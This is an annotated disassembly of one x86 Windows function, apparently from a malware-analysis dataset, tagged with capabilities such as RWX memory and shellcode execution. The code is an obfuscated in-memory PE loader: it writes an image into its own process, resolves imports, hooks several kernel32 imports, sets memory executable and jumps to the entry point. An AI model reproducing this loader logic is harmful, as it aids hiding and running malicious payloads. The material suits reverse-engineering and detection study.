Function at 0x301a2d
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
mov eax, 0x323677
call fcn.003200c8
push ecx
mov eax, 0x2d6c
call fcn.0031f1f0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, dword [0x333510]
mov eax, esi
imul eax, esi
imul eax, esi
cdq
push 0x15
pop ecx
idiv ecx
xor ebx, ebx
cmp edx, 0xa
jne 0x301ac5
mov esi, ebx
call fcn.00311669
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [ebp + esi*8 - 0x284], xmm0
inc esi
cmp esi, 0x41
jb 0x301a65
mov ecx, ebx
push 0x40
pop eax
cmp ecx, eax
jge 0x301ab9
movsd xmm0, qword [ebp + eax*8 - 0x284]
movsd xmm1, qword [ebp + eax*8 - 0x28c]
comisd xmm0, xmm1
jbe 0x301ab4
movsd qword [ebp + eax*8 - 0x284], xmm1
movsd qword [ebp + eax*8 - 0x28c], xmm0
dec eax
cmp eax, ecx
jg 0x301a8a
inc ecx
cmp ecx, 0x41
jl 0x301a83
mov esi, dword [0x333510]
mov dword [ebp - 4], ebx
wait
mov eax, dword [0x23339dc]
mov dword [ebp - 0x1c], eax
mov eax, esi
imul eax, esi
imul eax, esi
cdq
push 0xe
pop ecx
idiv ecx
cmp edx, 5
jne 0x301b20
mov esi, str.Mw9metCYO0U
lea edi, [ebp - 0x6c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x6c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x301af5
sub eax, edx
xor ecx, ecx
push 4
pop edi
mul edi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00310bdb
push eax
call fcn.00311664
pop ecx
pop ecx
mov esi, dword [0x333510]
mov eax, esi
imul eax, esi
cdq
push 0x16
pop ecx
idiv ecx
cmp edx, 0x12
jne 0x301b4e
mov edi, ebx
mov dword [ebp - 0x3c], edi
cmp edi, 0x53
jae 0x301b4e
mov eax, esi
sub eax, edi
lea ecx, [esi + edi]
cdq
idiv ecx
mov dword [ebp + edi*4 - 0x1cc], edx
inc edi
jmp 0x301b32
mov dword [0x33362c], ebx
lea eax, [esi + 2]
lea ecx, [esi + 1]
imul eax, ecx
imul eax, esi
cdq
push 0x14
pop edi
idiv edi
cmp edx, 0x11
jne 0x301bb2
mov ecx, esi
imul ecx, esi
mov eax, ecx
cdq
idiv edi
cmp edx, 0xe
je 0x301ba8
mov eax, ecx
cdq
push 9
pop ecx
idiv ecx
cmp edx, 5
jne 0x301ba8
mov edi, ebx
mov dword [ebp - 0x44], edi
cmp edi, 0xf7
jae 0x301ba8
mov eax, esi
sub eax, edi
lea ecx, [edi + esi]
cdq
idiv ecx
mov dword [ebp + edi*4 - 0x1084], edx
inc edi
jmp 0x301b89
call fcn.00311669
mov dword [0x333510], eax
mov dword [0x333630], ebx
mov eax, 0x23339dc
mov ecx, dword [eax]
mov eax, dword [eax + 4]
sub eax, ecx
mov dword [0x333634], eax
mov dword [0x333638], ecx
mov esi, 0x104
push esi
push 0x333518
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push 0x2333640
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov byte [0x333640], bl
mov edi, dword [ebp - 0x1c]
mov esi, dword [edi + 0x3c]
add esi, edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x18], eax
cmp dword [esi + 0x34], 0x400000
je 0x301c16
xor al, al
wait
jmp 0x302064
mov ecx, dword [0x333510]
mov eax, ecx
imul eax, ecx
imul eax, ecx
cdq
mov dword [ebp - 0x20], 0x18
idiv dword [ebp - 0x20]
push 0xc
pop eax
cmp edx, eax
jne 0x301c5d
mov eax, ecx
cdq
push 0x64
pop ecx
idiv ecx
lea eax, [edx + 0x7b]
xor ecx, ecx
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00310bdb
push eax
call fcn.00311664
pop ecx
pop ecx
mov eax, dword [esi + 0x28]
mov ecx, 0x400000
add eax, ecx
mov dword [ebp - 0x24], eax
push ebx
push dword [esi + 0x54]
push edi
push ecx
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x301c0e
movzx eax, word [esi + 0x14]
add eax, 0x18
add eax, esi
mov dword [ebp - 0x30], eax
mov edx, dword [0x333510]
lea eax, [edx + 2]
lea ecx, [edx + 1]
imul eax, ecx
imul eax, edx
cdq
idiv dword [ebp - 0x20]
cmp edx, 2
jne 0x301cb4
push 4
call fcn.0031139d
pop ecx
mov ecx, dword [0x333510]
mov dword [eax], ecx
mov edi, ebx
mov dword [ebp - 0x40], edi
movzx eax, word [esi + 6]
cmp edi, eax
jae 0x301cf9
mov ecx, edi
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x30]
mov eax, dword [ecx + edx + 0x10]
test eax, eax
je 0x301cf6
push ebx
push eax
mov eax, dword [ecx + edx + 0x14]
add eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ecx + edx + 0xc]
add eax, 0x400000
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x301c0e
inc edi
jmp 0x301cb6
mov edi, dword [esi + 0x80]
mov ecx, 0x400000
add edi, ecx
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x20], edi
mov eax, dword [edi + 0xc]
test eax, eax
je 0x30203a
add eax, ecx
mov dword [ebp - 0x1c], eax
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x18], eax
mov esi, dword [0x333510]
lea eax, [esi + 1]
imul eax, esi
cdq
push 0x14
pop ecx
idiv ecx
cmp edx, 0x13
jne 0x301db5
xor eax, eax
mov word [ebp - 0xca4], ax
push 0xa1e
push ebx
lea eax, [ebp - 0xca2]
push eax
call fcn.0031a9d0
add esp, 0xc
mov dword [0x333510], ebx
mov edi, ebx
mov dword [ebp - 0x2c], edi
cmp edi, 0x24
jge 0x301da5
mov esi, ebx
mov dword [ebp - 0x38], esi
cmp esi, 0x24
jge 0x301da2
test edi, edi
je 0x301d9f
test esi, esi
je 0x301d9f
mov edx, edi
imul edx, edx, 0x24
add edx, esi
movsx ecx, word [ebp + edx*2 - 0xcec]
movsx eax, word [ebp + edx*2 - 0xca6]
inc eax
add eax, ecx
mov word [ebp + edx*2 - 0xca4], ax
inc esi
jmp 0x301d6d
inc edi
jmp 0x301d63
movsx esi, word [ebp - 0x286]
mov dword [0x333510], esi
mov edi, dword [ebp - 0x20]
cmp dword [ebp - 0x18], 0
je 0x301c0e
lea eax, [esi + 2]
lea ecx, [esi + 1]
imul eax, ecx
imul eax, esi
cdq
push 0xc
pop ecx
idiv ecx
cmp edx, 4
jne 0x301de8
mov dword [ebp - 0x1c54], ebx
mov dword [ebp - 0x2134], ebx
mov dword [ebp - 0x2d7c], ebx
mov esi, dword [edi + 0x10]
mov ecx, 0x400000
add esi, ecx
mov dword [ebp - 0x34], esi
mov eax, dword [esi]
test eax, eax
je 0x30202d
cmp eax, 0x80000000
jae 0x301e0d
lea edi, [ecx + 2]
add edi, eax
jmp 0x301e10
movzx edi, ax
push str.SetFil
lea ecx, [ebp - 0x78]
call fcn.0030125f
mov byte [ebp - 4], 1
push str.ePointer
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.003025dc
pop ecx
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x78]
call fcn.0030128e
cmp dword [esi], 0x80000000
jae 0x301ff2
push 0x32ca58
push edi
call fcn.003114ad
pop ecx
pop ecx
test eax, eax
jne 0x301e87
push str.kernel32.dll
push dword [ebp - 0x1c]
call fcn.003114ad
pop ecx
pop ecx
test eax, eax
jne 0x301e87
push edi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x333628], eax
mov dword [esi], 0x30176b
jmp 0x301ffe
cmp dword [esi], 0x80000000
jae 0x301ff2
push str.GetFileSize
push edi
call fcn.003114ad
pop ecx
pop ecx
test eax, eax
jne 0x301ed1
push str.kernel32.dll
push dword [ebp - 0x1c]
call fcn.003114ad
pop ecx
pop ecx
test eax, eax
jne 0x301ed1
push edi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x333620], eax
mov dword [esi], 0x3017b3
jmp 0x301ffe
cmp dword [esi], 0x80000000
jae 0x301ff2
push 0x32ca80
push edi
call fcn.003114ad
pop ecx
pop ecx
test eax, eax
jne 0x301f1b
push str.kernel32.dll
push dword [ebp - 0x1c]
call fcn.003114ad
pop ecx
pop ecx
test eax, eax
jne 0x301f1b
push edi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x33363c], eax
mov dword [esi], 0x3017d6
jmp 0x301ffe
cmp dword [esi], 0x80000000
jae 0x301ff2
lea eax, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
cmovae eax, dword [ebp - 0x60]
push eax
push edi
call fcn.003114ad
pop ecx
pop ecx
test eax, eax
jne 0x301f6c
push str.kernel32.dll
push dword [ebp - 0x1c]
call fcn.003114ad
pop ecx
pop ecx
test eax, eax
jne 0x301f6c
push edi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x33361c], eax
mov dword [esi], 0x301848
jmp 0x301ffe
cmp dword [esi], 0x80000000
jae 0x301ff2
push 0x32ca8c
push edi
call fcn.003114ad
pop ecx
pop ecx
test eax, eax
jne 0x301faf
push str.kernel32.dll
push dword [ebp - 0x1c]
call fcn.003114ad
pop ecx
pop ecx
test eax, eax
jne 0x301faf
push edi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x333624], eax
mov dword [esi], 0x3018f1
jmp 0x301ffe
cmp dword [esi], 0x80000000
jae 0x301ff2
push 0x32ca98
push edi
call fcn.003114ad
pop ecx
pop ecx
test eax, eax
jne 0x301ff2
push str.kernel32.dll
push dword [ebp - 0x1c]
call fcn.003114ad
pop ecx
pop ecx
test eax, eax
jne 0x301ff2
push edi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x333514], eax
mov dword [esi], 0x30190d
jmp 0x301ffe
push edi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi], eax
cmp dword [esi], ebx
jne 0x302012
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x60]
call fcn.0030128e
jmp 0x301c0e
add esi, 4
mov dword [ebp - 0x34], esi
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x60]
call fcn.0030128e
mov ecx, 0x400000
jmp 0x301df5
mov edi, dword [ebp - 0x20]
push 0x14
pop eax
add edi, eax
jmp 0x301d06
lea eax, [ebp - 0x48]
push eax
push 0x40
push 0x2000000
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call dword [ebp - 0x24]
wait
or dword [ebp - 4], 0xffffffff
mov al, 1
jmp 0x302064
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret